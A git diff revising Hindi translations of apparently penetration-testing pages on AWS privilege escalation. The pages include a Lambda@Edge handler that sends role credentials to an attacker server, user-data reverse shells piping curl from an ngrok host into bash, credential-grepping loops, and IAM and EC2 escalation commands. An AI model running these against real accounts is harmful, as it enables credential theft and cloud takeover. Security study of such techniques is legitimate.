--query 'ETag' --output text)
@@ -64,14 +64,14 @@ var maliciousBody = `
-समझौता किया गया पृष्ठ
+Compromised Page
-मूल सामग्री
-यह पृष्ठ CloudFront Functions द्वारा संशोधित किया गया है
+Original Content
+This page has been modified by CloudFront Functions
@@ -100,7 +100,7 @@ aws cloudfront create-function --name malicious-function --function-config '{
# DEVELOPMENT stage में function का ETag प्राप्त करें
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
-# LIVE stage पर function को publish करें
+# LIVE stage में function प्रकाशित करें
aws cloudfront publish-function --name malicious-function --if-match
```
@@ -135,37 +135,37 @@ The attacker creates a malicious Lambda@Edge function that steals the IAM role c
```bash
// malicious-lambda-edge.js
exports.handler = async (event) => {
- // Obtain role credentials
- const credentials = {
- accessKeyId: process.env.AWS_ACCESS_KEY_ID,
- secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
- sessionToken: process.env.AWS_SESSION_TOKEN,
- };
- // Send credentials to attacker's server
- try {
- await fetch("https:///steal-credentials", {
- method: "POST",
- headers: { "Content-Type": "application/json" },
- body: JSON.stringify(credentials)
- });
- } catch (error) {
- console.error("Error sending credentials:", error);
- }
- if (event.Records && event.Records[0] && event.Records[0].cf) {
- // Modify response headers
- const response = event.Records[0].cf.response;
- response.headers["x-credential-theft"] = [
- {
- key: "X-Credential-Theft",
- value: "Successful",
- },
- ];
- return response;
- }
- return {
- statusCode: 200,
- body: JSON.stringify({ message: "Credentials stolen" })
- };
+ // रोल credentials प्राप्त करें
+ const credentials = {
+ accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+ secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+ sessionToken: process.env.AWS_SESSION_TOKEN,
+ };
+ // credentials को attacker के सर्वर पर भेजें
+ try {
+ await fetch("https:///steal-credentials", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify(credentials)
+ });
+ } catch (error) {
+ console.error("Error sending credentials:", error);
+ }
+ if (event.Records && event.Records[0] && event.Records[0].cf) {
+ // response headers संशोधित करें
+ const response = event.Records[0].cf.response;
+ response.headers["x-credential-theft"] = [
+ {
+ key: "X-Credential-Theft",
+ value: "Successful",
+ },
+ ];
+ return response;
+ }
+ return {
+ statusCode: 200,
+ body: JSON.stringify({ message: "Credentials stolen" })
+ };
};
```
@@ -173,7 +173,7 @@ exports.handler = async (event) => {
# Lambda@Edge फ़ंक्शन पैकेज करें
zip malicious-lambda-edge.zip malicious-lambda-edge.js
-# एक privileged role के साथ Lambda@Edge फ़ंक्शन बनाएँ
+# एक privileged role के साथ Lambda@Edge फ़ंक्शन बनाएं
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
@@ -202,7 +202,8 @@ Then the attacker updates the CloudFront distribution configuration to reference
```
```bash
-# अपडेट की गई distribution config लागू करें (मौजूदा ETag का उपयोग ज़रूरी है)
+# अपडेट किए गए distribution config को लागू करें (current ETag का उपयोग आवश्यक है)
+
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
aws cloudfront update-distribution \
@@ -210,7 +211,7 @@ aws cloudfront update-distribution \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG
-# distribution को request करके function को trigger करें
+# distribution का request करके function को ट्रिगर करें
curl -v https://.cloudfront.net/
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index 6fc125b91..e090a35b4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -12,19 +12,19 @@
### `iam:PassRole`, `ec2:RunInstances`
-एक attacker **IAM role attach करके एक instance बनाकर और फिर उस instance तक पहुँच कर** IAM role credentials को metadata endpoint से चुरा सकता है।
+एक attacker **एक instance बना कर उसमे IAM role attach कर सकता है और फिर उसमें पहुँच कर** metadata endpoint से IAM role credentials चुरा सकता है।
-- **SSH के माध्यम से पहुँच**
+- **Access via SSH**
-एक नया instance चलाएँ **created** **ssh key** (`--key-name`) का उपयोग करके और फिर उसमें ssh करें (यदि आप नया key बनाना चाहते हैं तो आपको permission `ec2:CreateKeyPair` की आवश्यकता हो सकती है)।
+नया instance चलाएँ एक **बनाया हुआ** **ssh key** (`--key-name`) का उपयोग करके और फिर उसमें ssh करें (यदि आप नया बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` permission की आवश्यकता हो सकती है)।
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
--security-group-ids
```
-- **user data में rev shell के जरिए एक्सेस**
+- **rev shell के जरिए user data में पहुँच**
-आप **user data** (`--user-data`) का उपयोग करके एक नया instance चला सकते हैं जो आपको **rev shell** भेजेगा। इस तरीके से आपको security group निर्दिष्ट करने की आवश्यकता नहीं है।
+आप एक नया instance चला सकते हैं जो **user data** (`--user-data`) का उपयोग करके आपको एक **rev shell** भेजेगा। इस तरह आपको security group निर्दिष्ट करने की आवश्यकता नहीं है।
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-यदि आप instance के बाहर IAM role के credentials का उपयोग करते हैं तो GuradDuty के साथ सावधान रहें:
+यदि आप किसी instance के बाहर IAM role के credentials का उपयोग करते हैं तो GuradDuty के साथ सावधान रहें:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**Potential Impact:** मौजूदा instance profiles से जुड़े किसी भी EC2 role पर Direct privesc।
+**संभावित प्रभाव:** किसी भी EC2 role पर सीधा privesc जो मौजूदा instance profiles से जुड़ा हो।
-#### Privesc to ECS
+#### ECS पर Privesc
-इन permissions के साथ आप **एक EC2 instance बना कर उसे ECS cluster के अंदर register भी कर सकते हैं**। इस तरह, ECS **services** उन **EC2 instance** के अंदर **run** होंगी जिनमें आपकी access होगी और आप उन services (docker containers) में penetrate करके उनके attached **ECS roles** चुरा सकते हैं।
+इन permissions के साथ आप **एक EC2 instance बनाकर उसे एक ECS cluster के अंदर register भी कर सकते हैं**। इस तरह, ECS की **services** उस **EC2 instance** के अंदर **run** होंगी जहाँ आपकी पहुँच होगी और फिर आप उन services (docker containers) में प्रवेश कर सकते हैं और उनके साथ जुड़े **ECS roles** को **चुरा** सकते हैं।
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-जानने के लिए कि इस नए EC2 instance में **ECS services को कैसे बलपूर्वक चलाया जाए** देखें:
+To learn how to **force ECS services to be run** in this new EC2 instance check:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-यदि आप **नई instance नहीं बना सकते** लेकिन आपके पास अनुमति `ecs:RegisterContainerInstance` है तो आप संभवतः उस instance को cluster के अंदर register कर सकेंगे और टिप्पणी किए गए attack को अंजाम दे सकेंगे।
+If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
-**संभावित प्रभाव:** tasks से जुड़ी ECS roles पर सीधे privesc।
+**Potential Impact:** सीधा privesc उन ECS roles तक जो tasks से जुड़ी हुई हैं।
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-पिछले परिदृश्य के समान, इन permissions वाले attacker एक compromised instance का **IAM role बदल** सकते हैं ताकि वह नए credentials चुरा सके।\
-चूँकि एक instance profile के पास केवल 1 role हो सकता है, अगर instance profile **पहले से ही एक role है** (आम स्थिति), तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी।
+पिछले परिदृश्य की तरह, इन permissions वाले एक attacker compromised instance का **IAM role बदल** सकता है ताकि वह नए credentials चुरा सके.\
+क्योंकि एक instance profile में केवल 1 role हो सकता है, अगर instance profile **पहले से ही एक role** (आम स्थिति) रखता है, तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी।
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,34 +80,35 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-यदि **instance profile has a role** और हमलावर **cannot remove it**, तो एक और workaround है। वह **find** कर सकता है एक **instance profile without a role** या **create a new one** (`iam:CreateInstanceProfile`), फिर उस **instance profile** में **add** करके **role** जोड़ सकता है (जैसा पहले चर्चा किया गया है), और समझौता किए गए **instance profile** को समझौता किए गए i**nstance:** से **associate the instance profile** कर सकता है:
+यदि **instance profile has a role** और attacker **cannot remove it**, तो एक और workaround मौजूद है।
+वह **find** कर सकता है एक **instance profile without a role** या **create a new one** (`iam:CreateInstanceProfile`), उस **instance profile** में **role** **add** कर सकता है (जैसा पहले बताया गया था), और **associate the instance profile** compromised to a compromised i**nstance:**
- यदि instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Potential Impact:** Direct privesc to a different EC2 role (आपको पहले से compromised AWS EC2 instance पर पहुँच होना चाहिए और कुछ अतिरिक्त permission या specific instance profile स्थिति की आवश्यकता होगी).
+**Potential Impact:** अलग EC2 role पर direct privesc (इसके लिए आपको पहले से एक compromised AWS EC2 instance होना चाहिए और कुछ अतिरिक्त permission या specific instance profile स्थिति की आवश्यकता होगी)।
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-इन permissions के साथ किसी instance से जुड़ा instance profile बदलना संभव है, इसलिए यदि attacker के पास पहले से किसी instance तक पहुँच है तो वह उससे जुड़ा instance profile बदलकर और अधिक instance profile roles के credentials चुरा सकेगा।
+इन permissions के साथ यह संभव है कि किसी instance से जुड़ा instance profile बदल दिया जाए, इसलिए यदि attacker के पास पहले से किसी instance तक access है तो वह उससे जुड़ा instance profile बदलकर और अधिक instance profile roles के credentials चुरा सकेगा।
-- यदि इसमें **instance profile** है, आप **instance profile** को हटाकर (`ec2:DisassociateIamInstanceProfile`) और **associate** कर सकते हैं
+- अगर इसमें **instance profile** है, तो आप instance profile को **हटा** सकते हैं (`ec2:DisassociateIamInstanceProfile`) और इसे **associate** कर सकते हैं
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- या **replace** करें compromised instance का **instance profile** (`ec2:ReplaceIamInstanceProfileAssociation`).
+- या **बदलें** compromised instance का **instance profile** (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**संभावित प्रभाव:** किसी अन्य EC2 role पर सीधा privesc (इसके लिए आपके पास compromised एक AWS EC2 instance और कुछ अतिरिक्त अनुमति या specific instance profile status होना चाहिए).
+**Potential Impact:** Direct privesc to a different EC2 role (आपके पास पहले से compromised AWS EC2 instance होना चाहिए और कुछ अतिरिक्त permission या specific instance profile status होना चाहिए)।
### `ec2:RequestSpotInstances`,`iam:PassRole`
-जिसके पास permissions **`ec2:RequestSpotInstances` और `iam:PassRole`** हों, वह **request** कर सकता है एक **Spot Instance** जिसमें **EC2 Role attached** हो और **rev shell** **user data** में हो।\
-जब instance चल जाएगा, तो वह **IAM role** को चुरा सकता है।
+ऐसा attacker जिसके पास permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** हों, वह **request** कर सकता है एक **Spot Instance** जिसमें **EC2 Role attached** हो और **user data** में एक **rev shell** हो।\
+एक बार instance चलने पर, वह **IAM role चुरा सकता है**।
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +120,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-एक हमलावर जिसके पास **`ec2:ModifyInstanceAttribute`** अनुमति है, वह instance के attributes को बदल सकता है। इनमें से वह **change the user data** कर सकता है, जिसका अर्थ है कि वह instance पर मनमाना डेटा चला सकता है। इसका उपयोग करके वह **rev shell to the EC2 instance** प्राप्त कर सकता है।
+An attacker जिसके पास **`ec2:ModifyInstanceAttribute`** है, वह instance के attributes बदल सकता है। इनमें वह **change the user data** कर सकता है, जिसका मतलब है कि वह instance को **run arbitrary data.** करने के लिए प्रेरित कर सकता है, और इससे **rev shell to the EC2 instance** प्राप्त किया जा सकता है।
-ध्यान दें कि ये attributes केवल तब ही बदले जा सकते हैं जब instance बंद (stopped) हो, इसलिए आवश्यक permissions हैं **`ec2:StopInstances`** और **`ec2:StartInstances`**।
+ध्यान दें कि attributes केवल तब **modified while the instance is stopped** किए जा सकते हैं, इसलिए आवश्यक **permissions** **`ec2:StopInstances`** और **`ec2:StartInstances`** हैं।
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +159,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**संभावित प्रभाव:** किसी बनाए गए instance से जुड़ी किसी भी EC2 IAM Role पर सीधे privesc।
+**संभावित प्रभाव:** किसी बनाए गए instance से जुड़े किसी भी EC2 IAM Role पर सीधे privesc।
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-एक attacker जिनके पास permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** हों, वे एक **new Launch Template version** बना सकते हैं जिसमें **rev shell in** the **user data** और उस पर **any EC2 IAM Role on it** शामिल किया जा सकता है, default version बदल सकते हैं, और कोई भी **any Autoscaler group** **using** that **Launch Templat**e जो **configured** है to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell.
+एक हमलावर जिनके पास ये अनुमतियाँ हों **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** एक **new Launch Template version** बना सकता है जिसमें **rev shell in** the **user data** और **any EC2 IAM Role on it** सेट कर सकता है, default version बदल सकता है, और **any Autoscaler group** **using** that **Launch Templat**e जो **configured** है **to use** the **latest** or the **default version** वह उस template का उपयोग करके **re-run the instances** करेगा और rev shell execute होगा।
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +177,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**संभावित प्रभाव:** Direct privesc to a different EC2 role.
+**संभावित प्रभाव:** किसी अन्य EC2 role पर सीधे privesc।
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-उन अनुमतियों वाले हमलावर **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** के साथ एक **Launch Configuration** बना सकता है जिसमें एक **IAM Role** और एक **rev shell** **user data** के अंदर हो, फिर उस config से एक **autoscaling group** बनाकर rev shell के द्वारा **IAM Role** को चुरा लेने का इंतजार कर सकता है।
+ऐसा attacker जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हों, वह **create a Launch Configuration** बना सकता है जिसमें एक **IAM Role** और एक **rev shell** **user data** के अंदर हो, फिर वह उस config से एक **create an autoscaling group** बनाएगा और rev shell के **steal the IAM Role** करने का इंतज़ार करेगा।
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +197,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**संभावित प्रभाव:** एक अलग EC2 role पर सीधे privesc।
+**संभावित प्रभाव:** किसी अलग EC2 role में सीधे privesc.
### `!autoscaling`
-Permissions का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **किसी IAM role पर privileges escalate करने के लिए पर्याप्त नहीं हैं** क्योंकि Launch Configuration या Launch Template में specified role को attach करने के लिए **आपको permissions `iam:PassRole` और `ec2:RunInstances` की आवश्यकता होती है** (जो एक जाना हुआ privesc है)।
+परमिशनों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** एक IAM role तक privileges escalate करने के लिए **पर्याप्त नहीं है** क्योंकि Launch Configuration या Launch Template में निर्दिष्ट role को attach करने के लिए **आपको permissions `iam:PassRole`and `ec2:RunInstances`** की आवश्यकता होती है (जो कि एक ज्ञात privesc है)।
### `ec2-instance-connect:SendSSHPublicKey`
-एक हमलावर जिसके पास permission **`ec2-instance-connect:SendSSHPublicKey`** है, किसी user के लिए एक ssh key जोड़ सकता है और इसका उपयोग उस instance में प्रवेश करने के लिए कर सकता है (यदि उसके पास instance का ssh access है) या privileges escalate करने के लिए।
+जिसके पास permission **`ec2-instance-connect:SendSSHPublicKey`** है, वह किसी user में एक ssh key जोड़ सकता है और इसका उपयोग (यदि उसके पास instance का ssh access है) उसे access करने या privileges escalate करने के लिए कर सकता है।
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Potential Impact:** चल रहे instances से जुड़े EC2 IAM roles तक सीधे privesc।
+**संभावित प्रभाव:** Direct privesc to the EC2 IAM roles attached to running instances.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-किसी हमलावर के पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** होने पर वह **serial connection में एक ssh key जोड़ सकता है**। यदि serial सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** चाहिए।
+एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** हो, वह **एक ssh key को serial connection में जोड़ सकता है**। यदि serial सक्षम नहीं है, तो हमलावर को अनुमति **`ec2:EnableSerialConsoleAccess` को सक्षम करने के लिए** चाहिए।
-serial port से कनेक्ट करने के लिए आपको मशीन के अंदर किसी user का **username और password** भी **जानना होगा**।
+serial port से कनेक्ट करने के लिए आपको मशीन के अंदर किसी user का **username और password** भी जानना आवश्यक है।
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +230,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-यह तरीका privesc के लिए इतना उपयोगी नहीं है क्योंकि इसे exploit करने के लिए आपको एक username और password जानना होगा।
+यह तरीका privesc के लिए उतना उपयोगी नहीं है क्योंकि इसे exploit करने के लिए आपको एक username और password पता होना चाहिए।
-**Potential Impact:** (साबित करना बहुत कठिन) EC2 IAM roles पर सीधा privesc जो running instances से जुड़े हैं।
+**Potential Impact:** (Highly unprovable) EC2 IAM roles जो running instances से जुड़े हैं, उन तक सीधा privesc।
### `describe-launch-templates`,`describe-launch-template-versions`
-चूंकि launch templates में versioning होता है, एक attacker जिसके पास **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** permissions हों, वे इन्हें exploit करके sensitive जानकारी खोज सकते हैं, जैसे user data में मौजूद credentials। इसे करने के लिए, निम्न script उपलब्ध launch templates के सभी versions के माध्यम से loop करता है:
+चूँकि launch templates में versioning होता है, एक attacker जिसके पास **`ec2:describe-launch-templates`** और **`ec2:describe-launch-template-versions`** permissions हों, वे इन्हें exploit करके संवेदनशील जानकारी, जैसे user data में मौजूद credentials, खोज सकते हैं। यह करने के लिए, निम्नलिखित script उपलब्ध launch templates के सभी versions के माध्यम से loop करता है:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,11 +249,11 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
-ऊपर दिए गए commands में, यद्यपि हम कुछ पैटर्न (`aws_|password|token|api`) निर्दिष्ट कर रहे हैं, आप अन्य प्रकार की sensitive information खोजने के लिए अलग regex का उपयोग कर सकते हैं।
+इन ऊपर के कमांड्स में, हालांकि हम कुछ पैटर्न्स निर्दिष्ट कर रहे हैं (`aws_|password|token|api`), आप अन्य प्रकार की संवेदनशील जानकारी खोजने के लिए एक अलग regex उपयोग कर सकते हैं।
-मान लें कि हमें `aws_access_key_id` और `aws_secret_access_key` मिल जाते हैं, तो हम इन credentials का उपयोग करके AWS में authenticate कर सकते हैं।
+मान लीजिए हमें `aws_access_key_id` और `aws_secret_access_key` मिल जाते हैं, तो हम इन क्रेडेंशियल्स का उपयोग AWS में प्रमाणीकृत करने के लिए कर सकते हैं।
-**संभावित प्रभाव:** Direct privilege escalation to IAM user(s).
+**Potential Impact:** Direct privilege escalation to IAM user(s).
## संदर्भ
@@ -261,15 +262,14 @@ done
-
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
-एक attacker जिसके पास किसी victim EC2 instance पर `ec2:ModifyInstanceMetadataOptions` कॉल करने की क्षमता हो, वह IMDS सुरक्षा को कमजोर कर सकता है — IMDSv1 सक्षम करके (`HttpTokens=optional`) और `HttpPutResponseHopLimit` बढ़ाकर। इससे instance metadata endpoint उन सामान्य SSRF/proxy रास्तों के माध्यम से पहुंच योग्य हो जाता है जो उस instance पर चलने वाले applications से पहुँचते हैं। यदि attacker ऐसे किसी app में SSRF ट्रिगर कर सके, तो वह instance profile credentials निकाल सकता है और उनके साथ pivot कर सकता है।
+यदि किसी हमलावर के पास victim EC2 instance पर `ec2:ModifyInstanceMetadataOptions` कॉल करने की क्षमता है, तो वह IMDS सुरक्षा को कमजोर कर सकता है — IMDSv1 सक्षम करके (`HttpTokens=optional`) और `HttpPutResponseHopLimit` बढ़ाकर। इससे instance metadata endpoint उन applications से आम SSRF/proxy रास्तों के माध्यम से पहुंच योग्य बन जाता है जो instance पर चल रही हैं। यदि हमलावर ऐसे किसी ऐप में SSRF ट्रिगर कर सके, तो वे instance profile credentials निकाल सकते हैं और उनका उपयोग करके pivot कर सकते हैं।
-- आवश्यक permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host).
-- Target resource: चल रहा EC2 instance जिसमें attached instance profile (IAM role) हो।
+- आवश्यक अनुमतियाँ: `ec2:ModifyInstanceMetadataOptions` लक्षित instance पर (साथ ही host पर SSRF पहुँचाने/trigger करने की क्षमता)।
+- लक्षित संसाधन: चालू EC2 instance जिस पर attached instance profile (IAM role) हो।
-कमांड का उदाहरण:
+कमांड्स का उदाहरण:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id \
@@ -296,11 +296,11 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-संभावित प्रभाव: SSRF के माध्यम से instance profile क्रेडेंशियल्स की चोरी, जो EC2 role permissions के साथ privilege escalation और lateral movement का कारण बन सकती है।
+संभावित प्रभाव: SSRF के माध्यम से instance profile credentials की चोरी, जिससे privilege escalation और lateral movement EC2 role permissions के साथ संभव हो सकते हैं।
### `ec2:ModifyInstanceMetadataOptions`
-ec2:ModifyInstanceMetadataOptions permission वाला attacker Instance Metadata Service (IMDS) की सुरक्षा कमजोर कर सकता है — उदाहरण के लिए IMDSv1 को मजबूर करके (HttpTokens required न बनाकर) या HttpPutResponseHopLimit बढ़ाकर — जिससे अस्थायी क्रेडेंशियल्स का exfiltration आसान हो जाता है। सबसे प्रासंगिक जोखिम वेक्टर HttpPutResponseHopLimit बढ़ाना है: उस hop limit (TTL) को बढ़ाने पर 169.254.169.254 endpoint VM के network namespace तक सख्ती से सीमित रहना बंद कर देता है और अन्य processes/containers द्वारा पहुँच योग्य हो सकता है, जिससे credentials की चोरी संभव हो जाती है।
+एक अटैकर जिसके पास ec2:ModifyInstanceMetadataOptions permission है, वह Instance Metadata Service (IMDS) की सुरक्षा कमज़ोर कर सकता है — उदाहरण के लिए IMDSv1 को मजबूर करके (HttpTokens को अनिवार्य नहीं बनाकर) या HttpPutResponseHopLimit बढ़ाकर — इस तरह अस्थायी credentials के exfiltration को आसान बना देता है। सबसे प्रासंगिक जोखिम वैक्टर HttpPutResponseHopLimit बढ़ाना है: उस hop limit (TTL) को बढ़ाने से, 169.254.169.254 endpoint VM के network namespace तक कड़ाई से सीमित रहना बंद कर देता है और अन्य processes/containers द्वारा पहुँचा जा सकता है, जिससे credential चोरी संभव होती है।
```bash
aws ec2 modify-instance-metadata-options \
--instance-id \
@@ -310,13 +310,15 @@ aws ec2 modify-instance-metadata-options \
```
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
-ec2:ModifyImageAttribute और ec2:ModifySnapshotAttribute permissions वाले attacker अन्य AWS खातों के साथ AMIs या snapshots साझा कर सकते हैं (या उन्हें सार्वजनिक भी कर सकते हैं), जिससे images या volumes उजागर हो सकते हैं जिनमें configurations, credentials, certificates, या backups जैसे संवेदनशील डेटा हो सकते हैं। एक AMI की launch permissions या एक snapshot की create-volume permissions को संशोधित करके, attacker तृतीय पक्षों को उन resources से instances launch करने या disks mount करने और उनके contents तक पहुँचने की अनुमति देता है।
+ec2:ModifyImageAttribute और ec2:ModifySnapshotAttribute अनुमतियाँ वाले एक हमलावर AMIs या snapshots को अन्य AWS खातों के साथ साझा कर सकता है (या उन्हें सार्वजनिक भी कर सकता है), जिससे ऐसी images या volumes उजागर हो सकती हैं जिनमें configurations, credentials, certificates, या backups जैसे संवेदनशील डेटा हो सकते हैं।
-किसी अन्य खाते के साथ AMI साझा करने के लिए:
+एक AMI की launch permissions या किसी snapshot की create-volume permissions को बदलकर, हमलावर तीसरे पक्षों को उन संसाधनों से instances लॉन्च करने या डिस्क माउंट करने और उनके कंटेंट तक पहुँचने की अनुमति देता है।
+
+एक AMI को दूसरे खाते के साथ साझा करने के लिए:
```bash
aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
```
-EBS snapshot को किसी अन्य खाते के साथ साझा करने के लिए:
+EBS snapshot को किसी अन्य account के साथ साझा करने के लिए:
```bash
aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index db933eb5c..3b84e31cc 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -12,24 +12,24 @@ IAM के बारे में अधिक जानकारी के ल
### **`iam:CreatePolicyVersion`**
-नया IAM policy version बनाने की क्षमता प्रदान करता है, `iam:SetDefaultPolicyVersion` permission की आवश्यकता को `--set-as-default` flag का उपयोग करके बायपास करते हुए। यह कस्टम permissions को परिभाषित करने में सक्षम बनाता है।
+एक नया IAM policy version बनाने की क्षमता देता है, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. यह कस्टम permissions परिभाषित करने में सक्षम बनाता है।
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**प्रभाव:** किसी भी resource पर किसी भी action को अनुमति देकर सीधे privileges को escalate करता है।
+**प्रभाव:** किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर प्रत्यक्ष रूप से privileges बढ़ाता है।
### **`iam:SetDefaultPolicyVersion`**
-यह किसी IAM policy के default version को किसी अन्य existing version में बदलने की अनुमति देता है, जो संभावित रूप से privileges को escalate कर सकता है यदि नए version में अधिक permissions हों।
+IAM policy के डिफ़ॉल्ट वर्शन को किसी अन्य मौजूदा वर्शन में बदलने की अनुमति देता है, जो कि नए वर्शन में अधिक permissions होने पर संभावित रूप से privileges बढ़ा सकता है।
-**Bash Command:**
+**Bash कमांड:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**प्रभाव:** अप्रत्यक्ष privilege escalation — अधिक permissions सक्षम करने से।
+**प्रभाव:** अधिक permissions सक्षम करने से अप्रत्यक्ष privilege escalation होता है।
### **`iam:CreateAccessKey`**
@@ -39,11 +39,11 @@ aws iam set-default-policy-version --policy-arn --version-id
```bash
aws iam create-access-key --user-name
```
-**प्रभाव:** किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियाँ धारण करके Direct privilege escalation।
+**Impact:** किसी अन्य उपयोगकर्ता के विस्तारित permissions को अपनाकर सीधे privilege escalation।
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console login के लिए पासवर्ड सेट करना शामिल है, जो direct privilege escalation की ओर ले जाता है।
